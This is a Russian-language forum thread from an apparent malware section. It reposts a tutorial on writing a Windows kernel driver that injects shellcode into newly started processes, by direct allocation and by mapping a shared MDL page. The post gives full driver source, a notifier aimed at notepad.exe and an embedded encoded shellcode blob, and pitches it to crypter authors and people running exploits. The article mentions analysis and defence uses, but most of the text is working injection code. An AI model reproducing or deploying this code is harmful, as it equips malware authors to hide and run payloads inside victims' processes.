Малварь как искусство Способы внедрения шелл-кода

Кто просматривает этот контент: "Тема" (Всего пользователей: 0; Гостей: 1)

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 710
Репутация
242
Jabber
Telegram
#1
Попался не плохой бложек по реверсу и статейка будет полезна, кто любит писать крипторы, ну либо запускать всякие сплоиты прям из своей программы...:)

Сам бложек вот:Внедряем код в процессы из режима ядра | Reverse-Pub

Статейка новая:

Всем привет! Сегодня мы затронем очень интересную тему, повествующую о написании драйвера, который будет внедрять код в адресное пространство таргетированного процесса двумя способами.

Наверное, Вы сразу подумаете, «зачем это делать из режима ядра, если можно использовать такие API функции из режима пользователя, как OpenProcess,WriteProcessMemory и тд?». На это хочется сразу ответить, что разобраться как работать с памятью из режима ядра — очень полезный скил, который пригодится в дальнейшем, как для реверса коварной малвари (особенно это касается руткитов/буткитов), так и для написания каких-либо более-менее серьёзных механизмов защиты. К примеру, можно будет написать программу, которая будет снимать дамп нужного процесса. При этом можно будет быть уверенным, что дамп снимется таким, какой он есть, а не с затёртым кодом.

Сейчас наша задача — внедрить свой shell код в адресное пространство целевого процесса. А лучше установить нотификатор на создание процесса. Нотификатор — это такая процедура, которая вызываетсясистемой тогда, когда происходит определённое событие. Это может быть создание/завершение процесса/потока, загрузка/выгрузка образа и тд. Если вы пишите свой защитный механизм и реализуете в нём перехваты API функций, то лучше всего сделать это через установку нотификатора. Кстатиговоря, думаю, вы уже догадались, что вредоносное ПО также использует этот механизм в своих целях.

Способ 1. Используем ZwAllocateVirtualMemory:

Этот способ почти такой же, как и использование последовательности вызовов OpenProcess, VirtualAllocate в режиме пользователя. Алгоритм тут такой:

  1. Аттатчимся в нужный процесс
  2. Получаем дескриптор этого процесса
  3. Вызываем ZwAllocateVirtualMemory
Дескриптор процесса нужен нам для того, чтобы ZwAllocateVirtualMemory знала в адресном пространстве какого именно процесса выделять память. Эта функция принимает шесть параметров: дескриптор процесса, в котором будет выделена память, указатель, который будет указывать на кусок выделенной памяти. Третий параметр указывает сколько старших битов во втором указатели должны быть нулевыми. Это число должно быть < 21. Но нас такая фича не интересует, поэтому мы выставим сюда 0.

Следующий параметр — тип выделяемой памяти. Сюда выставляем MEM_COMMIT, для нас это обычное дело :-). Далее идёт размер памяти, который мы хотим выделить и права, который мы, естественно выставим на PAGE_EXECUTE_READWRITE. Дескриптор процесса мы можем получить разными способами, но наиболее удобным для нас будет — вызов функции NtCurrentProcess. Она возвращает дескриптор текущего процесса. Чтобы какой-либо процесс стал для нас текущим , мы должны будем к нему приаттатчиться, используя функцию KeAttachProcess. Ниже будет приведена функция, которая это реализует.
Код:
DWORD InsertCodeToProcess(LPVOID shellcode_, DWORD shellcodeSize_, PEPROCESS eProcess)
{  
    KEVENT Event;
    HANDLE hThread = 0;
    HANDLE hProcessHandle = 0;
    NTSTATUS status = -1;
    LPVOID memory = NULL;
    DWORD size = shellcodeSize_;  
       
    KeAttachProcess(eProcess);
    hProcessHandle = NtCurrentProcess();
    if (hProcessHandle)
    {
        status = ZwAllocateVirtualMemory(hProcessHandle, &memory, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if (NT_SUCCESS(status))
        {
            #ifdef DEBUG          
                DbgPrint("Allocated memory %s!: 0x%08x, size: %d, hProcessHandle: 0x%08x\n", PsGetProcessImageFileName(eProcess), memory, size, hProcessHandle);
            #endif          
            memcpy(memory, shellcode_, shellcodeSize_);
            #ifdef DEBUG          
                DbgPrint("0x%02x, 0x%02x, 0x%02x, 0x%02x\n", *(char *)memory, *(unsigned char *)((DWORD)memory+1), *(unsigned char *)((DWORD)memory+2), *(unsigned char *)((DWORD)memory+3));
            #endif
        }      
    }
    else
    {
        #ifdef DEBUG          
                DbgPrint("Process HANDLE error!!!: hProcessHandle: 0x%08x\n", hProcessHandle);
        #endif
    }

    KeDetachProcess();
    return status;
}
Проверяем, это работает! Наш шелкод окажется в адресном пространстве нужного процесса. А теперь представьте, что вы по каким-то причинам захотели внедрять из ядра код во все запушенные процессы, или будите внедрять код во все только что запустившиеся процессы. В этом случае, использование данного метода будет приносить некоторые неудобства. Первое — выделить память размером меньше, чем размер страницы нельзя. Минимальный размер страницы — 1кб (бывает и 4кб, в зависимости от настроек системы). Если у вас запущено 100 процессов, и в каждый вы внедрите код, то истратите аж 100 страниц памяти! Это довольно расточительно. А если вы вдруг захотите изменить shell code, на другой, то что тогда?! Будите его искать в каждом процессе и исправлять? Вот в этом случае давайте рассмотрим второй способ.

Способ 2. Отображение глобальной страницы памяти в адресное пространство процесса

В этот раз мы изменим логику работы драйвера. Мы не будем 100 раз выделять память в контексте какого-то процесса, а вместо этого выделим одну страницу неподкачиваемой памяти, выставим на неё нужный права и заполним её shell кодом. После этого отобразим эту страницу во все нужные нам процессы. Под «отобразим» я имею ввиду — предоставим к неё доступ. У каждого процесса виртуальный адрес отображённой нами страницы может быть разным, но всегда вести он будет к одной нашей странице с shell кодом. Поэтому, если мы изменим логику работы shell кода, то есть перепишем его в той глобальной странице памяти, которую проецируем в пользовательские процессы, то результат отразится на всех сразу. Для отображения какой-либо страницы мы будем придерживаться следующего алгоритма:

  1. Выделяем пулл неподкачиваемой памяти с помощью ExAllocatePool
  2. Выделяем место для MDL, которая опишет нам все занимаемые физические адреса. Юзаем IoAllocateMdl
  3. Заполняем тело MDL, используя MmBuildMdlForNonPagedPool
  4. Назначаем RWX права нашему региону памяти с помощью MmProtectMdlSystemAddress
  5. Копируем в пулл памяти наш shell code
  6. Ататтчимся к целевому процессу с помощью KeAttachProcess
  7. Отображаем нашу глобальную страницу памяти, описанную с помощью MDL в адресное пространство процесса, используя MmMapLockedPagesSpecifyCache

Отображение физической страницы в виртуальную память процессов через MDL

Давайте остановимся по подробнее о том, что такое MDL.

Memory Descriptor List

MDL — это такая структура, которая описывает регион физических страниц. Из этого утверждения следует, что с помощью нею можно описать регион физической памяти, а не виртуальной. Поэтому, мы в первом шаге будем выделять память с помощью ExAllocatePool, с первым параметром — NonPagedPool, который означает, что выделенный кусок будет храниться именно в оперативке и никогда не будет сброшен в файл подкачки. Сама эта структура представляет из себя заголовок и тело, которое идёт сразу после него. Заголовок MDL представлен ниже:


Структура MDL

Сразу после этого заголовка идёт массив двойных слов Pages, каждый из которых представлен номер физической страницы page frame number (PFN). Вообще, я тут пытаюсь пересказать статью из KMD TUT от MS-Remа, так что, настоятельно советую прочитать его. Итак, в общем виде, функция по отображению физической страницы в память процесса будет такая:
Код:
LPVOID InsertCodeToProcessWithMDL(LPVOID shellcode_, DWORD shellcodeSize_, PEPROCESS eProcess, PMDL pMdl)
{      
    NTSTATUS status = -1;
    LPVOID address = NULL;
       
    kernel_memory = ExAllocatePool(NonPagedPool, shellcodeSize_);
   
    //allocate mem for MDL header and init
    pMdl = IoAllocateMdl(kernel_memory, shellcodeSize_, FALSE, FALSE, NULL);                      
   
    //Fill MDL Body to phisical frame numbers
    MmBuildMdlForNonPagedPool(pMdl);
    //                  
    MmProtectMdlSystemAddress(pMdl, PAGE_EXECUTE_READWRITE);
   
    //copy shellcode to global mem
    memcpy(kernel_memory, shellcode_, shellcodeSize_);
    KeAttachProcess(eProcess);
    address = (LPVOID)MmMapLockedPagesSpecifyCache(pMdl, UserMode, MmCached, NULL, FALSE, NormalPagePriority);
    DbgPrint("InsertCodeToProcessWithMDL, address: 0x%08x",  address);

    #ifdef DEBUG
        if (eProcess)
            DbgPrint("Process: %s Mapped VA address: 0x%08x %02x", PsGetProcessImageFileName(eProcess), address, *(char *)address);
    #endif      
    KeDetachProcess();
    return address;
}
Устанавливаем нотификатор на создание процесса и тестим

Теперь, давайте проверять, как всё работает. Сделаем так, чтобы shell code проецировался во все запускаемые процессы с каким-нибудь именем, у меня на этот раз это notepad.exe. Для этого напишем специальную call back функцию, которая будет вызываться всякий раз, когда какой либо процесс будет создан. В ней мы проверим имя процесса и, если оно совпадает с нашим, то проинжектим туда код, отобразим неподкачиваемую физическую страницу с нашем шелл кодом в адресное пространство конечного процесса. Согласно документации, функция нотификатора должна иметь следующий прототип:
Код:
void NotifyRoutine(IN HANDLE  hParentId, IN HANDLE  hProcessId, IN BOOLEAN bC
Система передаст в hParentId идентификатор родительского процесса, в hProcessId — идентификатор новосозданного процесса, а в bCreate будет true, если процесс создался и false — в противном случае. Учитывая это, пишем код:
Код:
void NotifyRoutine(IN HANDLE  hParentId, IN HANDLE  hProcessId, IN BOOLEAN bCreate)
{
    LPSTR processName;
    PEPROCESS eProcess = NULL;
    NTSTATUS status = -1;
    LPVOID address = NULL;  

    if (bCreate)
    {              
        status = PsLookupProcessByProcessId(hProcessId, &eProcess);

        processName = PsGetProcessImageFileName(eProcess);

        if (strcmp(ProcessName, processName) == 0)  
        {
                address = InsertCodeToProcessWithMDL(eProcess);
               
                #ifdef DEBUG
                    DbgPrint("\n\nNotify: shell address: 0x%08x: \n\n", address);
                #endif
        }

        ObDereferenceObject(eProcess);
    }
}
Зарегистрировать функцию нотификатор нужно в функции DriverEntry. Делается это так:
Код:
status = PsSetCreateProcessNotifyRoutine(NotifyRoutine, FALSE);
Когда драйвер выгружается, нужно обязательно снять нотификатор! Делается это аналогично, только вместо последнего параметра передаётся TRUE. Если драйвер выгрузится, а нотификатор останется, то у вас вывалится BSOD с ошибкой DRIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS.

Итак, смотрим результат


Демонстрация отображение одной страницы в два процесса

Мы видим, что по адресу 0x864a3f08 располагается наш shellcode. Эта та самая страница, которая находится в неподкачиваемом пуле. Она и проецируется в адресное пространство процесса. Также, мы видим, что по виртуальному адресу 0x30f08 у нас отображается эта страница. В моём случае, виртуальные адреса спроецированной страницы совпали, но это не обязательно. Ладно, посмотрим, что у нас по адресу 0x864a3f08, а что по адресу 0x30f08.


Страница с шелл кодом в ядре отображается в виртуальное адресное пространство процесса режима пользователя

Мы тут отчётливо видим, что по виртуальному адресу0x00030F008 у нас находятся те же данные (тот же шелл), что и по адресу 0x864a3F08. Просто VA у нас спроецирован на него, вот мы и видим одно и тоже. Хорошо, давайте, теперь проведём эксперимент. Изменим первые байты шелкода (47 F9 93 9B) на 90 90 90 90 и посмотрим, отразятся ли изменения в двух процессах. Для этого выполним в отладчике ядра команду ed 0x864a3f08 90909090. Переаттатчимся Olly Debug ом и посмотрим, что теперь у нас в памяти:


Изменения в отображаемой странице памяти режима ядра видны во всех процессах, куда отображалась страница

Ага! Во всех процессах, куда была спроецирована страница памяти произошли изменения! А всё потому, что страница-то у нас одна, просто отображается она в разные адресные пространства процессов. Ну, теперь, задача с внедрением кода решена, осталось только передать на него управление. Как это сделать, это другая уже тема, можно, например, вставить APC инжект. Сейчас я приведу полный код драйвера, который может производить инжекты двумя способами.

Код:
#define deviceName         L"\\Device\\KernelCodeInject"
#define symbolicName     L"\\DosDevices\\KernelCodeInject"

#define DEBUG

#pragma comment(lib,"ntoskrnl.lib")
#pragma comment(lib,"Ntstrsafe.lib")

ULONG ActiveProcessLinkOffset;
ULONG ProcessNameOffset;
ULONG PIDOffset;

LPSTR ProcessName = "notepad.exe";
LPVOID kernel_memory = NULL;
PMDL pMdl = NULL;
int shellcodeSize = 0;

/*exec calc.exe*/
char shellcode[] =
    "\x47\xf9\x93\x9b\x58\x9f\x4a\xf5\x5a\xf5\x16\x48\x4d\x5b"
    "\xf8\xfd\x52\x99\x06\x50\xd9\xcc\xbe\x56\x6c\xdf\xb1\xd9"
    "\x74\x24\xf4\x5f\x2b\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc"
    "\x03\x77\x42\x8e\x2a\x4d\x82\xcc\xd5\xae\x52\xb1\x5c\x4b"
    "\x63\xf1\x3b\x1f\xd3\xc1\x48\x4d\xdf\xaa\x1d\x66\x54\xde"
    "\x89\x89\xdd\x55\xec\xa4\xde\xc6\xcc\xa7\x5c\x15\x01\x08"
    "\x5d\xd6\x54\x49\x9a\x0b\x94\x1b\x73\x47\x0b\x8c\xf0\x1d"
    "\x90\x27\x4a\xb3\x90\xd4\x1a\xb2\xb1\x4a\x11\xed\x11\x6c"
    "\xf6\x85\x1b\x76\x1b\xa3\xd2\x0d\xef\x5f\xe5\xc7\x3e\x9f"
    "\x4a\x26\x8f\x52\x92\x6e\x37\x8d\xe1\x86\x44\x30\xf2\x5c"
    "\x37\xee\x77\x47\x9f\x65\x2f\xa3\x1e\xa9\xb6\x20\x2c\x06"
    "\xbc\x6f\x30\x99\x11\x04\x4c\x12\x94\xcb\xc5\x60\xb3\xcf"
    "\x8e\x33\xda\x56\x6a\x95\xe3\x89\xd5\x4a\x46\xc1\xfb\x9f"
    "\xfb\x88\x91\x5e\x89\xb6\xd7\x61\x91\xb8\x47\x0a\xa0\x33"
    "\x08\x4d\x3d\x96\x6d\xb1\xdf\x33\x9b\x5a\x46\xd6\x26\x07"
    "\x79\x0c\x64\x3e\xfa\xa5\x14\xc5\xe2\xcf\x11\x81\xa4\x3c"
    "\x6b\x9a\x40\x43\xd8\x9b\x40\x20\xbf\x0f\x08\x89\x5a\xa8"
    "\xab\xd5";

UNICODE_STRING    SymbolicLinkName;
PDEVICE_OBJECT deviceObject;

int initGlobalMemory();

void freeGlogalMemory();

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDeviceObject, IN PUNICODE_STRING RegistryPath);

NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp);

NTSTATUS CtlPass(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp);

void CtlUnloadRoutine(IN PDRIVER_OBJECT pDeviceObject);

Код:
#include <ntifs.h>
#include <ntddk.h>
#include <Ntstrsafe.h>

#include "types.h"
#include "driver.h"
#include "functions.h"
#include "kernel-inject.h"
#include "kernel-inject-mdl.h"


//инициализирует глобальные переменные
int initGlobalMemory()
{

    kernel_memory = NULL;
    pMdl = NULL;

    shellcodeSize = sizeof(shellcode);

    if (shellcodeSize > 0)
    {
        //allocate global memory in kernel space
        kernel_memory = ExAllocatePool(NonPagedPool, shellcodeSize);

        if (kernel_memory)
        {
            //allocate mem for MDL header and init
            pMdl = IoAllocateMdl(kernel_memory, shellcodeSize, FALSE, FALSE, NULL);                      
           
            //Fill MDL Body to phisical frame numbers
            MmBuildMdlForNonPagedPool(pMdl);
                               
            MmProtectMdlSystemAddress(pMdl, PAGE_EXECUTE_READWRITE);
           
            //copy shellcode to global mem
            memcpy(kernel_memory, shellcode, shellcodeSize);

            #ifdef DEBUG
                DbgPrint("\nglobal mem: %08x, shellcode byts: %08x, shellcodeSize: %08x, shellcode g byts: %08x\n",
                    kernel_memory,
                    *(DWORD*)shellcode,
                    shellcodeSize,
                    *(DWORD*)kernel_memory);
            #endif

            return 1;

        }

    }
    return 0;
}

void freeGlogalMemory()
{
    if (pMdl)
        IoFreeMdl(pMdl);
    if (kernel_memory)
        ExFreePool(kernel_memory);
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDeviceObject, IN PUNICODE_STRING RegistryPath)
{
    NTSTATUS status;      
    UNICODE_STRING    DeviceName;
    PDRIVER_DISPATCH *pDispacher;
    PEPROCESS process;
    DWORD pid;  
    LPVOID userSpaceShellAddress;
    LPVOID address = NULL;  

    RtlInitUnicodeString(&DeviceName, deviceName);  
    RtlInitUnicodeString(&SymbolicLinkName, symbolicName);    
 
    status = IoCreateDevice(pDeviceObject,0,&DeviceName,FILE_DEVICE_NULL,0,FALSE,&deviceObject);
    if (status == STATUS_SUCCESS)  
    {
        status = IoCreateSymbolicLink(&SymbolicLinkName,&DeviceName);
   
        pDispacher = pDeviceObject->MajorFunction;      
        pDeviceObject->DriverUnload         = CtlUnloadRoutine;
        pDispacher[IRP_MJ_DEVICE_CONTROL]     = CtlDriverDispatch;              
        pDispacher[IRP_MJ_WRITE]             = CtlPass;
        pDispacher[IRP_MJ_READ]             = CtlPass;
        pDispacher[IRP_MJ_CREATE]             = CtlPass;
        pDispacher[IRP_MJ_CLOSE]             = CtlPass;
       
        if (status == STATUS_SUCCESS)
        {
            #ifdef DEBUG
                DbgPrint("\ndriver has been loaded!\n");
            #endif          
            if (!InitParams())
            {
                #ifdef DEBUG
                    DbgPrint("Unsupported OS!\n");
                #endif

                return -1;
            }

            if (!initGlobalMemory())
                DbgPrint("\nError Init Global Vars!\n");

            status = PsSetCreateProcessNotifyRoutine(NotifyRoutine, FALSE);
            #ifdef DEBUG
                if (NT_SUCCESS(status))
                    DbgPrint("NotifyRoutineSet Ok!\n");
                else
                    DbgPrint("NotifyRoutineSet False!\n");
            #endif
           
        }
           
    }
    else
    {
        #ifdef DEBUG  
            DbgPrint("driver not loaded!");
        #endif      
    }

    return status;
}

NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)  
{
    PIO_STACK_LOCATION pIrpStack;  
    DWORD inSize, ioctl;

    pIrpStack = IoGetCurrentIrpStackLocation(Irp);  
    ioctl = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
    inSize =  pIrpStack->Parameters.DeviceIoControl.InputBufferLength;

    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

NTSTATUS CtlPass(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)  
{
    Irp->IoStatus.Status=STATUS_SUCCESS;  
    Irp->IoStatus.Information = 0;      
    IoCompleteRequest(Irp, IO_NO_INCREMENT);  
    return STATUS_SUCCESS;  
}


void CtlUnloadRoutine(IN PDRIVER_OBJECT pDeviceObject)
{
    NTSTATUS status;

    status = PsSetCreateProcessNotifyRoutine(NotifyRoutine, TRUE);

    Sleep(3000);

    if (status == STATUS_SUCCESS)
    {
        #ifdef DEBUG      
            DbgPrint("Notifi Removed!\n");          
        #endif      
    }

    freeGlogalMemory();

    status = IoDeleteSymbolicLink(&SymbolicLinkName);
    if (status == STATUS_SUCCESS) {
        IoDeleteDevice(deviceObject);      
    #ifdef DEBUG      
        DbgPrint("driver has been unloaded!\n");          
    #endif      
        return;
    }
    #ifdef DEBUG  
        DbgPrint("driver has`t been unloaded!");
    #endif  
}

Код:
#include <ntifs.h>
#include <ntddk.h>
#include <string.h>
#include <Ntstrsafe.h>
//#include "driver.h"

//inicilise in driver.h from 13 lines
extern ULONG ActiveProcessLinkOffset;
extern ULONG ProcessNameOffset;
extern ULONG PIDOffset;

extern LPSTR ProcessName;
extern LPVOID kernel_memory;
extern int shellcodeSize;
extern PMDL pMdl;

//////////////////////////////////////

extern PSHORT NtBuildNumber;
int InitParams();

LPSTR PsGetProcessImageFileName(PEPROCESS Process);

DWORD getPidByName(LPSTR processName);

BOOLEAN Sleep(ULONG MillionSecond);

void NotifyRoutine(IN HANDLE  hParentId, IN HANDLE  hProcessId, IN BOOLEAN bCreate);

Код:
#include "types.h"
#include "functions.h"
#include "kernel-inject-mdl.h"

int InitParams()
{  
    // ? wo(nt!NtBuildNumber)
    switch (*NtBuildNumber) {
    case  2195:  // Win 2k
        ActiveProcessLinkOffset = 0xA0;
        ProcessNameOffset       = 0x01FC;
        PIDOffset               = 0x09C;
        break;
    case 2600:   // Win XP
        ActiveProcessLinkOffset = 0x88;
        ProcessNameOffset       = 0x174;
        PIDOffset               = 0x084;
        break;
    case 3790:  // W2K3
        ActiveProcessLinkOffset = 0x98;
        ProcessNameOffset       = 0x164;
        PIDOffset               = 0x094;
        break;
    case 7600:
        ActiveProcessLinkOffset = 0x0b8;
        ProcessNameOffset       = 0x16c;
        PIDOffset               = 0x0b4;
        break;
    }
    #ifdef DEBUG
        DbgPrint("NtBuildNumber: 0x%08x\n", *NtBuildNumber);
        DbgPrint("ActiveProcessLinkOffset: 0x%08x\n", ActiveProcessLinkOffset);
        DbgPrint("ProcessNameOffset: 0x%08x\n", ProcessNameOffset);
        DbgPrint("PIDOffset: 0x%08x\n", PIDOffset);
    #endif
    return (ActiveProcessLinkOffset != 0);
}

DWORD getPidByName(LPSTR processName)
{  
    PEPROCESS   CurrentProcess;
    PLIST_ENTRY  CurrentProcessAPL;
    PLIST_ENTRY  ProcessAPL;
    ULONG ProcessPID;
    PCHAR ProcessName;
    DWORD result = 0;

    CurrentProcess    = PsGetCurrentProcess();
    if (!CurrentProcess)
        return result;
    CurrentProcessAPL = (PLIST_ENTRY)((ULONG)CurrentProcess + ActiveProcessLinkOffset);
    ProcessAPL        = CurrentProcessAPL;

    do
    {
        ProcessPID  = *(PULONG)((ULONG)ProcessAPL - ActiveProcessLinkOffset + PIDOffset);
        ProcessName = (PCHAR)((ULONG)ProcessAPL - ActiveProcessLinkOffset + ProcessNameOffset);      
        if (strcmp(ProcessName, processName) == 0)
        {
            result = ProcessPID;
        #ifdef DEBUG
            DbgPrint("getPidByName %s pid: %u", processName, ProcessPID);  
        #endif  
            break;          
        }
        ProcessAPL = ProcessAPL -> Flink;
    } while (ProcessAPL != CurrentProcessAPL);
    return result;
}

BOOLEAN Sleep(ULONG MillionSecond)
{
    NTSTATUS st;
    LARGE_INTEGER DelayTime;
    DelayTime = RtlConvertLongToLargeInteger(-10000*MillionSecond);
    st=KeDelayExecutionThread( KernelMode, FALSE, &DelayTime );
    return (NT_SUCCESS(st));
}

void NotifyRoutine(IN HANDLE  hParentId, IN HANDLE  hProcessId, IN BOOLEAN bCreate)
{
    LPSTR processName;
    PEPROCESS eProcess = NULL;
    NTSTATUS status = -1;
    LPVOID address = NULL;  

    if (bCreate)
    {              
        status = PsLookupProcessByProcessId(hProcessId, &eProcess);

        processName = PsGetProcessImageFileName(eProcess);

        if (strcmp(ProcessName, processName) == 0)  
        {
                address = InsertCodeToProcessWithMDL(eProcess);
               
                #ifdef DEBUG
                    DbgPrint("\n\nNotify: shell address: 0x%08x: \n\n", address);
                #endif
        }

        ObDereferenceObject(eProcess);
    }
}

Код:
#include <ntifs.h>
#include <ntddk.h>
#include <string.h>
#include <Ntstrsafe.h>

DWORD InsertCodeToProcess(LPVOID shellcode_, DWORD shellcodeSize_, PEPROCESS eProcess);

Код:
#include <ntifs.h>
#include <ntddk.h>
#include <Ntstrsafe.h>
#include "types.h"
#include "functions.h"


DWORD InsertCodeToProcess(LPVOID shellcode_, DWORD shellcodeSize_, PEPROCESS eProcess)
{  
    KEVENT Event;
    HANDLE hThread = 0;
    HANDLE hProcessHandle = 0;
    NTSTATUS status = -1;
    LPVOID memory = NULL;
    DWORD size = shellcodeSize_;  
       
    KeAttachProcess(eProcess);
    hProcessHandle = NtCurrentProcess();
    if (hProcessHandle)
    {
        status = ZwAllocateVirtualMemory(hProcessHandle, &memory, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if (NT_SUCCESS(status))
        {
            #ifdef DEBUG          
                DbgPrint("Allocated memory %s!: 0x%08x, size: %d, hProcessHandle: 0x%08x\n", PsGetProcessImageFileName(eProcess), memory, size, hProcessHandle);
            #endif          
            memcpy(memory, shellcode_, shellcodeSize_);
            #ifdef DEBUG          
                DbgPrint("0x%02x, 0x%02x, 0x%02x, 0x%02x\n", *(char *)memory, *(unsigned char *)((DWORD)memory+1), *(unsigned char *)((DWORD)memory+2), *(unsigned char *)((DWORD)memory+3));
            #endif
        }      
    }
    else
    {
        #ifdef DEBUG          
                DbgPrint("Process HANDLE error!!!: hProcessHandle: 0x%08x\n", hProcessHandle);
        #endif
    }

    KeDetachProcess();
    return status;
}
 

JohnWick

Житель форума
Форумчанин
Регистрация
02.04.2017
Сообщения
17
Репутация
2
#2
За линк +
 

MisterX

Житель форума
Форумчанин
Регистрация
22.06.2017
Сообщения
56
Репутация
3
#3
Хорошая статья! Я такой ерундой еще лет 5-7 назад занимался.
 

asar

Житель форума
Форумчанин
Регистрация
23.02.2019
Сообщения
5
Telegram
ICQ

0

#4
Вверх